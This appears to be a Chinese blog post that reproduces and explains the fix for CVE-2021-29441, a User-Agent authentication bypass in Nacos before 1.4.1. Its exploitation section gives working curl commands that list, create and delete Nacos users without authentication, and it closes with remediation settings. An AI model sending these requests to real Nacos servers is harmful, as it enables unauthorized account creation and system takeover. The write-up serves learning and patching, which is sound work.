51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Nacos漏洞复现及修复(CVE-2021-29441)

Nacos是Alibaba的一个动态服务发现、配置和服务管理平台。攻击者通过添加Nacos-Server的User-Agent头部将可绕过(nacos.core.auth.enabled=true)鉴权认证,从而进行API操作。

影响版本:<1.4.1

漏洞复现:准备两台centos7,一台用于靶机,一台用于攻击。

靶机安装oracleJDK1.8(JDK安装略),下载nacos1.4.0版本
cd /usr/local/src/ wget https://github.com/alibaba/nacos/releases/download/1.4.0/nacos-server-1.4.0.tar.gz tar xf nacos-server-1.4.0.tar.gz

|-------|---------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 | cd /usr/local/src/ wget https://github.com/alibaba/nacos/releases/download/1.4.0/nacos-server-1.4.0.tar.gz tar xf nacos-server-1.4.0.tar.gz |

修改conf/application.properties,开启鉴权
nacos.core.auth.enabled=true

|---|------------------------------| | 1 | nacos.core.auth.enabled=true |

启动服务
sh /usr/local/src/nacos/bin/startup.sh -m standalone

|---|------------------------------------------------------| | 1 | sh /usr/local/src/nacos/bin/startup.sh -m standalone |

这样靶机就搭建完成,访问http://IP:8848/nacos/即可登录。


以下操作均在攻击服务器上操作

安装jq

jq是Linux json格式化工具,直接yum安装即可
yum install jq

|---|----------------| | 1 | yum install jq |

漏洞利用

请求用户列表接口,不用鉴权即可看到用户信息,可以看到当前只有一个用户nacos
curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq

|---|------------------------------------------------------------------------------------------------------------| | 1 | curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq |


指定User-Agent为Nacos-Server,POST请求添加用户
curl -X POST -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test&password=test' | jq

|---|--------------------------------------------------------------------------------------------------------------------| | 1 | curl -X POST -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test&password=test' | jq |


再次查看用户列表,此时多了一个刚刚通过POST创建的test用户,漏洞利用成功。
curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq

|---|------------------------------------------------------------------------------------------------------------| | 1 | curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq |


访问nacos页面http://IP:8848/nacos,使用test登录成功。


通过漏洞接口直接删除用户
curl -X DELETE -w '\n' -s -A 'Nacos-Server' -d 'username=test' 'http://IP:8848/nacos/v1/auth/users' | jq

|---|------------------------------------------------------------------------------------------------------------| | 1 | curl -X DELETE -w '\n' -s -A 'Nacos-Server' -d 'username=test' 'http://IP:8848/nacos/v1/auth/users' | jq |


curl -X DELETE -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test' | jq

|---|-------------------------------------------------------------------------------------------------------| | 1 | curl -X DELETE -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test' | jq |

漏洞修复办法:

升级nacos至1.4.1以上,建议升级至最新版本,修改conf/application.properties字段
nacos.core.auth.enabled=false 修改为true nacos.core.auth.enable.userAgentAuthWhite=true 修改为false nacos.core.auth.server.identity.key=自定义值 nacos.core.auth.server.identity.value=自定义值

|---------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 | nacos.core.auth.enabled=false 修改为true nacos.core.auth.enable.userAgentAuthWhite=true 修改为false nacos.core.auth.server.identity.key=自定义值 nacos.core.auth.server.identity.value=自定义值 |

最后代码层面,在项目中各个工程的bootstrap.yml中cloud.nacos层级下添加username和password字段
cloud: nacos: username:nacos password:nacos

|---------|---------------------------------------------| | 1 2 3 4 | cloud: nacos: username:nacos password:nacos |

注意:使用nacos安全起见,建议一定要开启鉴权,否则即使在现在2.1.1版本中依旧可以通过该接口进行利用。

赞(0)
未经允许不得转载:工具盒子 » Nacos漏洞复现及修复(CVE-2021-29441)